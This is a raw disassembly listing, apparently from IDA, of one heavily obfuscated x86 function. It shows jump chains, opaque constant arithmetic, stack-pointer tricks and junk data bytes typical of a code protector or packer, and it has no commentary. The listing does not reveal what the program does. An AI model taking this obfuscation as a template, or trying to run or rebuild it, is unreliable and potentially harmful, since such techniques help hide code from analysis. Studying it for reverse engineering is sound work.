		sub	ebx, 433C015Bh
		sub	ebx, edx
		add	ebx, 433C015Bh
		pop	edx
		jmp	loc_55A5FF
; ---------------------------------------------------------------------------

loc_55D46C:				; CODE XREF: sub_542C3C+14C73j
		add	esp, 4
		add	edi, 1900756Dh
		push	eax
		mov	eax, 3A4B6BD7h
		jmp	loc_55F83F
; ---------------------------------------------------------------------------
aQsjl		db 'QéJL',0
		dd 11CD8100h, 814E9F13h, 0C45E5BF5h
		db 4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+54h+var_54]
		pop	esp
		mov	[esp+50h+var_50], esi
		mov	esi, 332F58C2h
		push	ecx
		mov	ecx, 76ED148Fh
		jmp	loc_56720F
; ---------------------------------------------------------------------------

loc_55D4BB:				; CODE XREF: sub_542C3C+2301Bj
		pop	edx
		add	esi, 4
		jmp	loc_555624
; ---------------------------------------------------------------------------
		db 59h
		dd 8704C583h, 55C242Ch,	4, 65DA68h, 24148900h, 0CD427BBAh
		dd 0EEE94A06h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D4E7:				; CODE XREF: sub_542C3C+21503j
		xor	edi, 4CB61C3h
		jmp	loc_55D697
; ---------------------------------------------------------------------------

loc_55D4F2:				; CODE XREF: sub_542C3C+1738Ej
		shr	eax, 6
		sub	eax, 0A7B9E04Ch
		jmp	loc_55770D
; ---------------------------------------------------------------------------

loc_55D4FF:				; CODE XREF: sub_542C3C+17040j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ch+var_5C]
		pop	esp
		push	86Ch
		mov	[esp+5Ch+var_5C], ebx
		push	1
		mov	ebx, [esp+60h+var_60]
		jmp	loc_56628D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041858h, 6016E99Ch, 0FDBAFFFFh,	8921987Fh
		dd 6DE95AD6h, 57000006h, 0FFB414E9h, 2434FFFFh,	30B3E9h
		dd 243C8700h, 0FFD070E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D559:				; CODE XREF: sub_542C3C+1BC13j
		shl	eax, 2
		jmp	loc_55BD4E
; ---------------------------------------------------------------------------

loc_55D561:				; CODE XREF: sub_542C3C+24887j
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp+5Ch+var_5C]
		jmp	loc_562D4C
; ---------------------------------------------------------------------------

loc_55D570:				; CODE XREF: sub_542C3C+22A8Dj
		push	233h
		mov	[esp+60h+var_60], ecx
		mov	ecx, 6065067Ah
		add	eax, ecx
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_55999F
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C4h
		dd 4, 8B24048Fh, 0BE562424h, 4,	0A69EA81h, 0BDE94C65h
		dd 55000064h, 49011ABDh, 50F58167h, 0E93A447Fh,	0FFFFA7B6h
		dd 0A8E9FE01h, 0BD0000AAh, 4D0C11E6h, 815DEB29h, 0D1FD0C3h
		dd 81F3011Dh, 0D1FD0EBh, 0ED08E91Dh, 0C281FFFFh, 4B02E2B1h
		dd 0E95AD601h, 0FFFF9ACDh
; ---------------------------------------------------------------------------

loc_55D5EC:				; CODE XREF: sub_542C3C+24720j
		pop	esi
		sub	esp, 4
		mov	[esp+5Ch+var_5C], edi
		mov	edi, 7C810CF8h
		add	ebx, edi
		pop	edi
		sub	ebx, eax
		sub	esp, 4
		jmp	loc_553ECF
; ---------------------------------------------------------------------------
		dd 20B85052h, 508C347h,	0F73CB8FCh, 0FFF2BFE9h,	240489FFh
		dd 4668E089h, 89000031h, 0FB68243Ch, 0E900004Bh, 0FFFFA9ADh
		dd 0C8BCE89h, 4C48324h,	15EF531h, 0C1815DE9h, 4, 0E9240C33h
		dd 0FFFF6DCCh
; ---------------------------------------------------------------------------

loc_55D64C:				; CODE XREF: sub_542C3C+1D1E4j
		mov	esi, esp
		add	esi, 4
		jmp	loc_557940
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aYhum		db 'YhUM',0
		align 2
		dw 0EFE9h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D667:				; CODE XREF: sub_542C3C+1DF48j
		add	edi, 0FFBE8EEDh
		jmp	loc_562C81
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 335E5DD1h, 434E9h, 53D8F700h, 0EC1BDBBBh, 0E9D801B9h
		dd 0FFFFC76Eh, 42Dh, 3EE95000h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D697:				; CODE XREF: sub_542C3C+1A8B1j
		or	edi, 518E2D84h
		push	esi
		push	edx
		mov	edx, 3ED40A25h
		mov	esi, edx
		pop	edx
		jmp	loc_55DFFA
; ---------------------------------------------------------------------------

loc_55D6AC:				; CODE XREF: sub_542C3C+1FE31j
		add	esp, 4
		sub	esi, 0FFFFFFFFh
		xor	esi, 18F5664Ah
		push	ecx
		mov	ecx, 74FEA37h
		jmp	loc_55AAB3
; ---------------------------------------------------------------------------
		db 58h
		dd 8103E3C1h, 33321CF3h, 7EE38130h, 4B7FFC45h, 50CAC381h
		dd 0D831A03Ah, 52575A5Bh, 33225C68h, 31D3E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D6EA:				; CODE XREF: sub_542C3C+1C4C5j
		pop	eax
		mov	edi, edx
		pop	edx
		sub	ecx, edi
		mov	edi, [esp+4Ch+var_4C]
		add	esp, 4
		xor	ecx, [esp+48h+var_48]
		xor	[esp+48h+var_48], ecx
		jmp	loc_555BF3
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C6h
		dd 4, 5C243487h, 1124E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D711:				; CODE XREF: sub_542C3C+1CD68j
		push	0D8ECEE54h
		jmp	loc_55789B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 278D4DB1h, 0F758C321h, 2E3C1D3h, 0EB81D3F7h,	182410C3h
		dd 0E7BEA81h, 0DA016A49h, 93C3E9h, 24248B00h, 0FF5E07E9h
		dd 0F6AFB5FFh, 0DAED80D5h, 0FFE701E9h, 240C87FFh, 0FFE041E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D759:				; CODE XREF: sub_542C3C+1A43Fj
		push	[esp+86h+var_84+2]
		pop	ecx
		pop	[esp+86h+var_88+2]
		mov	esp, [esp+82h+var_84+2]
		jmp	loc_568548
; ---------------------------------------------------------------------------
aS4c		db '[é4—',0
		dw 100h
		dd 0B2E950F2h, 87FFFFC6h, 835C241Ch, 0C8904ECh,	288CB124h
		dd 8EE959C8h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D78B:				; CODE XREF: sub_542C3C+173F6j
		mov	[esp+58h+var_58], ecx
		sub	esp, 4
		mov	[esp+5Ch+var_5C], esp
		jmp	loc_56606D
; ---------------------------------------------------------------------------

loc_55D799:				; CODE XREF: sub_542C3C+11055j
		mov	[esp+60h+var_60], ecx
		sub	esp, 4
		mov	[esp+64h+var_64], edx
		mov	dl, 4Fh
		or	dl, 16h
		sub	dl, 0F2h
		mov	cl, dl
		mov	edx, [esp+64h+var_64]
		add	esp, 4
		sub	esp, 4
		jmp	loc_555067
; ---------------------------------------------------------------------------
		db 0F7h
		dd 14F757DFh, 0C7815F24h, 0ACDE5F85h, 0E95FF989h, 0FFFFB221h
		dd 8245401h, 884FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D7E1:				; CODE XREF: sub_542C3C+16D6Cj
		push	edx
		mov	edx, 2AA9560Dh
		mov	edi, 47704798h
		xor	edi, edx
		jmp	loc_566C5F
; ---------------------------------------------------------------------------
aZhF		db 'Zh#f',0
		dd 24348900h, 6D87E9h, 4C48300h, 674B68h, 24148900h, 24148B5Eh
		dd 81E68956h, 4C6h, 4C68300h, 31243433h, 94E92434h, 0FFFFFFB2h
		dd 669D1C77h, 4196658h,	15E99C24h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D837:				; CODE XREF: sub_542C3C+18CC7j
		add	esp, 4
		xor	ebx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebx
		xor	ebx, [esp+80h+var_80]
		pop	esp
		push	26F1h
		mov	[esp+80h+var_80], edi
		push	1B8Eh
		mov	[esp+84h+var_84], ebx
		push	2951h
		jmp	loc_557D8E
; ---------------------------------------------------------------------------
		db 5Fh,	5Ah, 1
		dd 2CC105E8h, 2C8B47C7h, 3F9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D872:				; CODE XREF: sub_542C3C+16766j
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], edx
		push	esp
		jmp	loc_556697
; ---------------------------------------------------------------------------
		db 35h
		dd 738C45B5h, 478E6B35h, 7DEBE924h, 0A9E9FFFFh,	0F7FFFF5Ch
		dd 4F63E9D6h, 1EB80000h, 1282A33h, 31E95EF0h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D8B7:				; CODE XREF: sub_542C3C+241B6j
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edi
		jmp	loc_557C5D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54572404h, 5F2434FFh, 4C481h, 36E90000h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D8D7:				; CODE XREF: sub_542C3C+257F1j
		push	esi
		mov	esi, 150866A4h
		shr	esi, 2
		xor	esi, 54219ADh
		add	ebp, esi
		pop	esi
		jmp	loc_5684BA
; ---------------------------------------------------------------------------
		dw 1968h
		dd 89000074h, 0E954242Ch, 29F1h, 98CCB81h, 0E9503A86h
		dd 0FFFFA66Bh
; ---------------------------------------------------------------------------

loc_55D908:				; CODE XREF: sub_542C3C+1E5C4j
		mov	[esp+0AAh+var_AA], ecx
		mov	ecx, 0F4C1420h
		add	[esp+0AAh+var_A2], ecx
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		add	[esp+0A6h+var_A2], ebx
		sub	[esp+0A6h+var_A2], 0F4C1420h
		push	ebp
		mov	ebp, 64C3683Ah
		add	[esp+0AAh+var_A2], 12472DC9h
		add	[esp+0AAh+var_A2], ebp
		sub	[esp+0AAh+var_A2], 12472DC9h
		pop	ebp
		mov	ebx, [esp+0A6h+var_A6]
		push	2FB6h
		mov	[esp+0AAh+var_AA], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0AAh+var_AA]
		pop	esp
		pop	esi
		push	edx
		mov	edx, 56066D1Bh
		jmp	loc_5676C3
; ---------------------------------------------------------------------------
aFxszl		db 'fXéz‹',0
		dd 2474FF00h, 48F5E04h,	0F1815924h, 7CEE1341h, 0FFB861E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D985:				; CODE XREF: sub_542C3C+192CFj
		mov	ebp, [esp+48h+var_48]
		add	esp, 4
		pop	ecx
		sub	eax, ebp
		pop	ebp
		xor	eax, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], eax
		xor	eax, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], esi
		jmp	loc_564BAA
; ---------------------------------------------------------------------------

loc_55D9A6:				; CODE XREF: sub_542C3C+123BEj
		pop	esi
		jmp	loc_5580F8
; ---------------------------------------------------------------------------

loc_55D9AC:				; CODE XREF: sub_542C3C+257D9j
		mov	edx, 87DFB962h
		add	edx, edi
		pop	edi
		push	eax
		jmp	loc_55F0FA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5597F6
; ---------------------------------------------------------------------------

loc_55D9C2:				; CODE XREF: sub_542C3C+1D306j
		xor	ecx, esi
		jmp	loc_55944C
; ---------------------------------------------------------------------------

loc_55D9C9:				; CODE XREF: sub_542C3C+1655Ej
		push	ebp
		jmp	loc_5613C4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 7AF4BA52h, 0F28174C1h, 4340408Fh, 0BE56504Ah, 52822DB7h
		dd 6A1CBA52h, 0E2C14CB8h, 0DAF74A04h, 70B0F281h, 0D62934C0h
		dd 0A2CE815Ah, 0F7230342h, 0BEE81DEh, 81796528h, 3D3736CEh
		dd 13EE8119h, 89C4F6AEh, 81E95EF0h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DA1B:				; CODE XREF: sub_542C3C+1B5E9j
		push	ebp
		push	edi
		push	643E47FDh
		jmp	loc_566303
; ---------------------------------------------------------------------------

loc_55DA27:				; CODE XREF: sub_542C3C+10F52j
		xor	ebp, edi
		jmp	loc_566F92
; ---------------------------------------------------------------------------

loc_55DA2E:				; CODE XREF: sub_542C3C+1998Fj
		mov	eax, esp
		jmp	loc_55A4A3
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 54010000h, 0FF5A0424h, 835B2434h, 0C38104C4h, 4, 63F768h
		dd 243C8900h, 4BE1E9h, 2A9C6800h, 3C890000h, 0E2C0E924h
		dd 34FFFFFFh, 99EFE987h, 0C483FFFFh, 3FEE8104h,	0E96C2B74h
		dd 0FFFF761Dh
; ---------------------------------------------------------------------------

loc_55DA7C:				; CODE XREF: sub_542C3C+1C603j
		pop	edi
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 2
		push	ecx
		push	edi
		mov	edi, 63841388h
		mov	ecx, edi
		pop	edi
		shr	ecx, 6
		jmp	loc_5649CD
; ---------------------------------------------------------------------------
		dd 4EF81h, 3C870000h, 24248B24h, 0B8240489h, 24310C74h
		dd 0FF6648E9h, 55FA01FFh, 0FFF8C1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DAB9:				; CODE XREF: sub_542C3C+11035j
		pop	esi
		shr	esi, 4
		push	4DD5h
		jmp	loc_55C349
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812424h, 4, 81241C89h, 4ECh, 0BBE95400h, 500005Eh
		dd 0C0A0D69h, 4B7F2D48h, 0C229F2F1h, 0E9D52958h, 0FFFFCFB2h
		dd 4343DBF7h, 8582E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DAFD:				; CODE XREF: sub_542C3C+22F03j
		sub	ecx, edx
		jmp	loc_55BEFF
; ---------------------------------------------------------------------------
aAi		db '[€ëÕ',0
		db 0D3h, 0E9h, 0CFh
		dd 5DFFFFF7h, 5A5BDF29h, 8C30E9h, 0C8B6600h, 3D406824h
		dd 0C890000h, 0C8B5424h, 4C48124h, 53000000h, 0AD37E9h
		dd 0FFFFBE00h, 0F529FFFFh, 493FE95Eh, 0FF5C0000h, 34FF2434h
		dd 2434FF24h, 4B6BE9h, 7E95500h, 81000079h, 4C4h, 8BFE8900h
		dd 0C483243Ch, 1C166804h, 1C890000h, 4ABDBB24h,	0F3E92AE3h
		dd 2900007Bh, 63EB81F3h, 5E143542h, 2474FF53h, 48F5B04h
		dd 2C895C24h, 0A3D6E924h, 0C1830000h, 240C3304h, 33240C31h
		dd 24E9240Ch, 0F6FFFFFFh, 6BC780D7h, 0E9A9EF80h, 8502h
		dd 1725CE81h, 0E9533F77h, 904h,	0C6E9F329h, 87FFFFCBh
		dd 505C2434h, 93C48EB8h, 58C6014Fh, 0A754E9h, 5DEA3100h
		dd 171C872Dh, 6AAA0544h, 0D029127Eh, 7E6AAA2Dh,	1C870512h
		dd 0AE94417h, 8100009Bh, 9406C9EEh, 2EEE8128h, 68206476h
		dd 1D23h, 0BB241C89h, 50393F7Fh, 0FFAA69E9h, 5B5453FFh
		dd 4C381h, 0BF570000h, 4, 535FFB29h, 42474FFh, 24048F5Bh
		dd 242C895Ch, 9DE9E589h, 81FFFFABh, 0A927E1EDh,	4FCD8174h
		dd 8147AA18h, 0B614A8C5h, 63ED811Ch, 0E9587F51h, 0FFFFC1E6h
		dd 241C8966h, 773AE9h, 4C38100h, 83000000h, 1C8704C3h
		dd 24248B24h, 7E07E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DC71:				; CODE XREF: sub_542C3C+202E8j
		push	ebx
		jmp	loc_55A04F
; ---------------------------------------------------------------------------
		db 53h
		dd 73CB8BBh, 0E9D9312Dh, 0FFFFB46Ch
; ---------------------------------------------------------------------------

loc_55DC84:				; CODE XREF: sub_542C3C+224B9j
		push	edx
		mov	edx, 4
		jmp	loc_555B29
; ---------------------------------------------------------------------------
		db 68h
		dd 5CBFh, 57240489h, 629E9h, 1EB8000h, 0DBF6CBFEh, 8005E3C0h
		dd 0D830F1F3h, 52D0F65Bh, 516611B2h, 6602EC83h,	0B7241C89h
		dd 66FD8879h, 66EA085Bh, 83240C8Bh, 0E28002C4h,	80D2F6B8h
		dd 0D03099C2h, 0E924148Bh, 0FFFFBDBBh
; ---------------------------------------------------------------------------

loc_55DCDC:				; CODE XREF: sub_542C3C+12926j
		pop	eax
		sub	edi, 24C970EEh
		jmp	loc_566079
; ---------------------------------------------------------------------------
		dd 2C8BE829h, 4C48124h,	8B000000h, 47E9240Ch
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DCFB:				; CODE XREF: sub_542C3C+23438j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+94h+var_94]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_55BDDC
; ---------------------------------------------------------------------------

loc_55DD1A:				; CODE XREF: sub_542C3C+19721j
		add	esi, edi
		pop	edi
		jmp	loc_55F997
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9572404h, 9CCAh
; ---------------------------------------------------------------------------

loc_55DD2C:				; CODE XREF: sub_542C3C+12898j
		push	ebp
		push	[esp+9Ch+var_98]
		pop	ebp
		pop	[esp+9Ch+var_9C]
		pop	esp
		pop	[esp+94h+var_94]
		pop	esp
		jmp	loc_562798
; ---------------------------------------------------------------------------
		db 59h
		dd 0E908F780h, 0FFFFBE5Fh, 1D0141BDh, 2E5C131h,	19ADF581h
		dd 0EB31CE06h, 34D0685Dh, 2C890000h, 59776824h,	19E92B91h
		dd 8800002Ch, 240C8BEAh, 4C481h, 0F6580000h, 3E2C0DAh
		dd 0C1C280h, 0B6D2E9D5h, 665FFFFFh, 7193C381h, 0AEC38166h
		dd 0C3296662h, 0AEEB8166h, 0EB816662h, 66587193h, 7A03C381h
		dd 0E9C32966h, 540Ah
; ---------------------------------------------------------------------------

loc_55DDAC:				; CODE XREF: sub_542C3C+1F314j
		xchg	ebp, [esp+8Ch+var_8C]
		jmp	loc_55AD38
; ---------------------------------------------------------------------------
		dd 5D86BA52h, 0EA81289Ah, 0DA3322B1h, 0FFA181E9h, 242C87FFh
		dd 241C895Ch, 0C381E389h, 4, 8904EC83h,	0BB532414h, 2
		dd 0B0E9DA89h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DDE7:				; CODE XREF: sub_542C3C+222CCj
		add	ecx, 4
		xor	ecx, [esp+8Ch+var_8C]
		jmp	loc_55BF23
; ---------------------------------------------------------------------------

loc_55DDF2:				; CODE XREF: sub_542C3C+2274Ej
		push	ecx
		mov	ecx, 149A32F3h
		neg	ecx
		and	ecx, 68D76D34h
		sub	ecx, 79D54D51h
		add	ecx, 510250E9h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_56667D
; ---------------------------------------------------------------------------
		dd 0E9FFC180h, 0FFFFA391h
; ---------------------------------------------------------------------------

loc_55DE1C:				; CODE XREF: sub_542C3C+15B0Fj
		xor	ebx, ecx
		pop	ecx
		jmp	loc_55BF44
; ---------------------------------------------------------------------------

loc_55DE24:				; CODE XREF: sub_542C3C+16636j
		pop	ecx
		pop	[esp+84h+var_84]
		jmp	loc_554EA2
; ---------------------------------------------------------------------------
		db 1, 0EEh, 8Bh
		dd 0C481242Ch, 4, 0FF95F8E9h, 0E38953FFh, 4C381h, 0BE560000h
		dd 4, 4263C381h, 20E91435h, 8BFFFFFDh, 38E9242Ch
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DE5F:				; CODE XREF: sub_542C3C+12B6Dj
		add	esp, 4
		jmp	loc_565337
; ---------------------------------------------------------------------------
		db 80h
		dd 0E6C0D4F6h, 50D6F603h, 0E8E9F0B4h, 9FFFFB4h,	1C8B1C5Fh
		dd 0D1E95524h, 0FFFFFF71h, 0E9582434h, 542h, 3FFCE981h
		dd 0C581903Eh, 17F12CC6h, 0FFB211E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DE9D:				; CODE XREF: sub_542C3C+2358Cj
		shr	esi, 7
		sub	esi, 3EF7AED7h
		add	eax, esi
		jmp	loc_5535EA
; ---------------------------------------------------------------------------
		db 0BDh, 37h, 6Bh
		dd 0CD8147A0h, 492D037Dh, 8106E5C1h, 3F95D4EDh,	5DE901B7h
		dd 1551E9h, 9AE95700h, 8900006Eh, 6768242Ch, 0E900000Bh
		dd 0FFFF9FFCh, 6AEB6857h, 34890000h, 0C0BA5224h, 814B8335h
		dd 8335C4F2h, 0E9D6894Bh, 0FFFFB051h, 5E2C14Ah,	495BB53h
		dd 0DA017B9Fh, 0DB07E95Bh, 0FBB7FFFFh, 6859CF28h, 17CDh
		dd 5190E9h, 241C8700h, 8924248Bh, 0FF54243Ch, 835F2434h
		dd 685304C4h, 321629EDh, 81241C8Bh, 4C4h, 0E9EB8100h, 81321629h
		dd 0F76759C7h, 4DEF8148h, 0E940676Eh, 0FFFFF4E6h, 0BB241C89h
		dd 538C0997h, 0FFF99FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DF5D:				; CODE XREF: sub_542C3C+252DEj
		pop	ebx
		jmp	loc_565E60
; ---------------------------------------------------------------------------

loc_55DF63:				; CODE XREF: sub_542C3C+1CFF9j
		shl	esi, 2
		sub	esi, 294B5AB4h
		push	ebp
		jmp	loc_561D77
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 0FF669FE9h, 0BEE80FFh, 0F0E95166h, 29FFFFE4h
		dd 5A74E9EEh, 0F187FFFFh, 0FFCE7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DF95:				; CODE XREF: sub_542C3C+1980Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 415450C0h
		shr	edx, 7
		jmp	loc_55B877
; ---------------------------------------------------------------------------
		dd 5BDE895Ah, 0F75EF789h, 2E950DFh, 5300004Fh, 0F7241487h
		dd 241487D2h, 4EC815Bh,	89000000h, 74FF241Ch, 0B6E90424h
		dd 0BAFFFFC5h, 507B7C20h, 815AD601h, 532E4EEh, 1C68351h
		dd 0EE81D6F7h, 0EA615F78h, 348BF701h, 0B097E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DFFA:				; CODE XREF: sub_542C3C+1AA6Bj
		push	237Dh
		mov	[esp+58h+var_58], edi
		mov	edi, 21EB7505h
		not	edi
		not	edi
		sub	edi, 22276FF5h
		jmp	loc_557C37
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 15FFA89h,	3C335AD7h, 279EE924h, 0F65A0000h, 7DE952D5h
		dd 52FFFF88h, 0DAF631B2h, 8021E280h, 0D00074F2h, 0C8B665Ah
		dd 2C48124h, 80000000h,	0C380C8EBh, 0DDEB80C6h,	0C0B75351h
		dd 0FFECAFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E05D:				; CODE XREF: sub_542C3C+17054j
		add	ebp, ecx
		pop	ecx
		xor	ebp, 20B011Bh
		jmp	loc_55C0BE
; ---------------------------------------------------------------------------
		db 5
		dd 61FC5DBBh, 0BB2DE801h, 0E961FC5Dh, 0FFFFC41Eh, 0FF54CBE9h
		dd 0D85A05FFh, 0C7E9B786h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E08B:				; CODE XREF: sub_542C3C+22AD9j
		mov	[esp+58h+var_58], ecx
		mov	ecx, 79855B1Eh
		add	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 4A1E185Ah
		not	edx
		not	edx
		shr	edx, 4
		add	edx, 0FB5E1E7Ch
		add	ecx, edx
		pop	edx
		push	esi
		mov	esi, 67D200C4h
		xor	esi, 500C62EBh
		jmp	loc_5596C4
; ---------------------------------------------------------------------------
		db 58h,	25h, 78h
		dd 5366165Bh, 1E173CBBh, 5BD801B9h, 0FF6EF1E9h,	0EB805AFFh
		dd 8BA6E961h, 0AC2D0000h, 0D2A5053h, 3201798h, 0B617952Dh
		dd 58C50133h, 0D4685657h, 5E27D725h, 8CB7E9h, 8BD08800h
		dd 0C4812414h, 4, 0C728ABB7h, 0FF8A86E9h, 0C5815CFFh, 4
		dd 4C581h, 2C330000h, 242C3124h, 8B242C33h, 54552424h
		dd 0E9242C8Bh, 518Ch, 0C681E689h, 4, 93F6E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E13E:				; CODE XREF: sub_542C3C+13457j
		mov	edx, [esp+0A6h+var_A6]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0A2h+var_A2], esi
		mov	esi, eax
		sub	esp, 4
		mov	[esp+0A6h+var_A6], esi
		xor	[esp+0A6h+var_A6], 5C7C248Dh
		pop	ebx
		xor	ebx, 5C7C248Dh
		pop	esi
		jmp	loc_565004
; ---------------------------------------------------------------------------

loc_55E16C:				; CODE XREF: sub_542C3C+23E0Dj
		sub	[edi+24h], ebp
		pop	ebp
		mov	eax, [esp+9Ah+var_9C+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_55D3E3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0F66E1F6h, 6866CCB6h, 89660362h, 43E9240Ch, 1FFFF64h
		dd 8B042444h, 0C4812404h, 4, 83243C8Bh,	0C78104C4h, 4
		dd 2BB53h, 0E9510000h, 0FFFFEBC7h, 4A0268h, 57B1E900h
		dd 0E95F0000h, 69A9h, 4C481h, 2C8B0000h, 4C48124h, 81000000h
		dd 35C4FEFh, 0E9CF0114h, 677Dh,	0C283DAF7h, 0F2814A01h
		dd 7F2806EAh, 4D36B951h, 1CE963DAh, 0FF00006Dh,	815A2434h
		dd 4C4h, 0FFC83100h, 0A4E92434h, 68FFFFBFh, 1D65h, 50241489h
		dd 8D8DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E21A:				; CODE XREF: sub_542C3C+21A70j
		not	edi
		and	edi, 134D0E09h
		shr	edi, 8
		jmp	loc_55DA1B
; ---------------------------------------------------------------------------

loc_55E22A:				; CODE XREF: sub_542C3C+1CA55j
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ecx
		push	edx
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ecx
		push	53241906h
		mov	ecx, [esp+0AEh+var_AE]
		add	esp, 4
		jmp	loc_55E715
; ---------------------------------------------------------------------------

loc_55E252:				; CODE XREF: sub_542C3C+1F54Ej
		mov	eax, [esp+0AAh+var_AA]
		add	esp, 4
		add	eax, 4
		push	edx
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebx
		push	edi
		mov	edi, 4
		push	edi
		sub	[esp+0B6h+var_B6], 269A7B1Fh
		pop	ebx
		add	ebx, 269A7B1Fh
		pop	edi
		push	eax
		mov	eax, ebx
		mov	edx, eax
		jmp	loc_55B0A7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4A970067h, 48F0F381h, 65E9DC93h, 5CFFFF77h, 8B24048Fh
		dd 0F662424h, 9C2404ABh, 9AD6E9h, 50C18100h, 8919B920h
		dd 0D7E959CAh
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E2BB:				; CODE XREF: sub_542C3C+24768j
		sub	edx, 0DA49D386h
		jmp	loc_563803
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 7502h, 0E92434FFh, 0A038h
; ---------------------------------------------------------------------------

loc_55E2D4:				; CODE XREF: sub_542C3C+11A52j
		pop	ebx
		sub	eax, 661434F0h
		push	dword ptr [eax]
		jmp	loc_563DFA
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 24148700h, 7B48E95Ch, 0C3810000h, 4
		dd 3AFFE9h, 0CCBA5200h,	526DD35Dh, 0E9240CFFh, 0FFFF6917h
		dd 8B240C87h, 13682424h, 8900007Fh, 6FE9241Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E323:				; CODE XREF: sub_542C3C+176EAj
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dd 69767405h, 243C8B21h, 4C481h, 86E90000h, 66000079h
		dd 8324048Bh, 3C8904ECh, 35DAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E34A:				; CODE XREF: sub_542C3C+24E45j
		sub	edx, 2329065Fh
		neg	edx
		xor	edx, 0D918A340h
		mov	ebx, edx
		pop	edx
		jmp	loc_55BB65
; ---------------------------------------------------------------------------

loc_55E360:				; CODE XREF: sub_542C3C+22D19j
		mov	word ptr [esp+78h+var_78], ax
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 5BDA0104h, 2BD55h, 0EA010000h, 2414335Dh, 33241431h
		dd 645C2414h, 0E9028966h, 4F76h, 15164FBAh, 0C9E28144h
		dd 0E975FD6Eh, 39D0h, 24048B66h, 190268h, 243C8900h, 875FE9h
		dd 24048F00h, 5124248Bh, 0E950F588h, 0FFFF90C4h, 0FF518BE9h
		dd 4C483FFh, 0B3535053h, 94BAE9D4h, 89510000h, 4BE56E1h
		dd 0E9000000h, 9DBBh, 48BC688h,	4C48324h, 60E95250h, 5C000022h
